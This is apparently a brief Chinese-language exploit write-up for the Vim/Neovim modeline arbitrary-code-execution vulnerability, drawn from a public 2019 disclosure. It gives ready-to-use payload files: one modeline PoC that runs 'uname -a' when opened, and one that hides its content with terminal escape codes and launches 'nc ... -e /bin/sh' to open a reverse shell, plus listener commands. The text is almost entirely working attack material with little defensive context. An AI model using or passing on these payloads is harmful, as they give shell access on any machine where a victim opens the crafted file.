受影響版本:
Vim < 8.1.1365, Neovim < 0.3.6
前提:開啟modeline
0x01 開啟modeline
在你的home下的.vimrc文件中增加一行:
set modeline
0x02 Poc
創建文件poc.txt,內容為
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
輸入命令 $vim poc.txt
系統將會執行uname -a
0x03 反彈shell
創建shell.txt,內容如下
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
開啟兩個終端:
一個輸入命令 $nc -lvvp 9999
另一個命令為 $vim shell.txt
成功反彈shell
參考鏈接:
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md